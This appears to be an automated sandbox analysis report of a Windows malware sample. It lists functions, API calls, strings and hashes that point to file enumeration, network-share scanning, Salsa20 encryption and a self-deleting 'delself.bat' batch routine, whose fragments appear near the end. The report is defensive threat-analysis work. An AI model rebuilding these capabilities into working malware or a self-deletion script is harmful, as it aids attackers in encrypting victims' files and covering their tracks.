Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNEL32(?,?), ref: 0041005A
FindClose.KERNELBASE(?), ref: 0041006C

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: 01677c7960f290016c291dc5dda4af2deb7e08f7db70c494aa9ddee329ae9700
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: 01677c7960f290016c291dc5dda4af2deb7e08f7db70c494aa9ddee329ae9700
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 360932542-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00412840 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000008,?,00000000,00000000,?), ref: 004128AA

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_memset
String ID:
API String ID: 2800726579-0
Opcode ID: e467f8216d5a5f08293c7b5212bb2c717f3650d84b191deadb6b1d66d9828447
Instruction ID: 77d5c0c78108e6bd7b696174a76f34ed3b4c8b07ae2fa23de187fb57fd92ed49
Opcode Fuzzy Hash: e467f8216d5a5f08293c7b5212bb2c717f3650d84b191deadb6b1d66d9828447
Instruction Fuzzy Hash: 9B11D371A00219BBDB11DF59CD41BDFBBA8EF01714F10422AF914A72C0C7BD99558BDA

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

delself.bat, xrefs: 0041261C
"if exist ", xrefs: 00412648
" goto try, xrefs: 00412666
del ", xrefs: 00412674
D, xrefs: 00412720
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
TEMP, xrefs: 004125DF
